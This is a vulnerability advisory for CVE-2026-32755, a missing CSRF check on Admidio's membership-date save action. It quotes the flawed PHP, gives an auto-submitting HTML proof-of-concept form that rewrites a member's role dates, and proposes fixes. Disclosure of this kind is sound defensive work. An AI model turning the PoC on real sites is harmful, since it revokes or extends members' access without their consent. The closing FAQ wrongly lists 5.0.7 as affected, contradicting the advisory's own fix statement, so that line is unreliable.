CVE-2026-32755: Admidio is Missing CSRF Protection on Role Membership Date Changes
Summary
The savemembership action in modules/profile/profilefunction.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stopmembership and removeformermembership against the CSRF token but omits savemembership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.
Details
CSRF Check Is Absent for savemembership
File: D:/bugcrowd/admidio/repo/modules/profile/profilefunction.php, lines 40-42
The CSRF guard covers only two of the three mutative modes:
php if (inarray($getMode, array('stopmembership', 'removeformermembership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($POST['admcsrftoken']); }
The savemembership mode is missing from this array. The handler then proceeds to read dates from $POST and update the database without any token verification:
php } elseif ($getMode === 'savemembership') { $postMembershipStart = admFuncVariableIsValid($POST, 'admmembershipstartdate', 'date', array('requireValue' => true)); $postMembershipEnd = admFuncVariableIsValid($POST, 'admmembershipenddate', 'date', array('requireValue' => true));
$member = new Membership($gDb); $member->readDataByUuid($getMemberUuid); $role = new Role($gDb, (int)$member->getValue('memrolid'));
// check if user has the right to edit this membership if (!$role->allowedToAssignMembers($gCurrentUser)) { throw new Exception('SYSNORIGHTS'); } // ... validates dates ... $role->setMembership($user->getValue('usrid'), $postMembershipStart, $postMembershipEnd, ...); echo 'success'; }
File: D:/bugcrowd/admidio/repo/modules/profile/profilefunction.php, lines 131-169
The Form Does Generate a CSRF Token (Not Validated)
File: D:/bugcrowd/admidio/repo/modules/profile/rolesfunctions.php, lines 218-241
The membership date form is created via FormPresenter, which automatically injects an admcsrftoken hidden field into every form. However, the server-side savemembership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.
Who Can Be Exploited as the CSRF Victim
File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121
The allowedToAssignMembers() check grants write access to: - Any user who is isAdministratorRoles() (role administrators), or - Any user who is a leader of the target role when the role has rolleaderrights set to ROLELEADERMEMBERSASSIGN or ROLELEADERMEMBERSASSIGNEDIT
Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.
UUIDs Are Discoverable from HTML Source
The save URL for the membership date form is embedded in the profile page HTML:
/admprogram/modules/profile/profilefunction.php?mode=savemembership&useruuid=<UUID>&memberuuid=<UUID>
Any authenticated member who can view a profile page can extract both UUIDs from the page source.
PoC
The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:
html <!DOCTYPE html> <html> <body onload="document.getElementById('csrfform').submit()"> <form id="csrfform" method="POST" action="https://TARGET/admprogram/modules/profile/profilefunction.php?mode=savemembership&useruuid=<VICTIMUSERUUID>&memberuuid=<MEMBERSHIPUUID>"> <input type="hidden" name="admmembershipstartdate" value="2000-01-01"> <input type="hidden" name="admmembershipenddate" value="2000-01-02"> </form> </body> </html>
Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).
Note: No admcsrftoken field is required because the server does not validate it for savemembership.
Impact
- Unauthorized membership date manipulation: A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation. - Effective access revocation: Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights. - Covert escalation: An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated. - No administrative approval required: The impact occurs silently on the victim's session with no confirmation dialog or notification email.
Recommended Fix
Fix 1: Add savemembership to the existing CSRF validation check
php // File: modules/profile/profilefunction.php, lines 40-42 if (inarray($getMode, array('stopmembership', 'removeformermembership', 'savemembership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($POST['admcsrftoken']); }
Fix 2: Use the form-object validation pattern (consistent with other write endpoints)
php } elseif ($getMode === 'savemembership') { // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.) $membershipForm = $gCurrentSession->getFormObject($POST['admcsrftoken']); $formValues = $membershipForm->validate($POST);
$postMembershipStart = $formValues['admmembershipstartdate']; $postMembershipEnd = $formValues['admmembershipenddate']; // ... rest of save logic unchanged }
Other sources
Admidio is an open-source user management solution. In versions 5.0.6 and below, the savemembership action in modules/profile/profilefunction.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stopmembership and removeformermembership against the CSRF token but omits savemembership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-32755?
CVE-2026-32755 is categorized as a medium severity vulnerability due to its potential for CSRF exploitation.
How do I fix CVE-2026-32755?
To resolve CVE-2026-32755, ensure that the `save_membership` action validates the CSRF token properly.
What software versions are affected by CVE-2026-32755?
CVE-2026-32755 affects versions of Admidio from 5.0.6 and below, including 5.0.7.
What types of attacks can CVE-2026-32755 facilitate?
CVE-2026-32755 could potentially allow an attacker to carry out CSRF attacks, altering a user's role membership.
Is any user data at risk with CVE-2026-32755?
Yes, CVE-2026-32755 can put user role information at risk, enabling unauthorized modifications.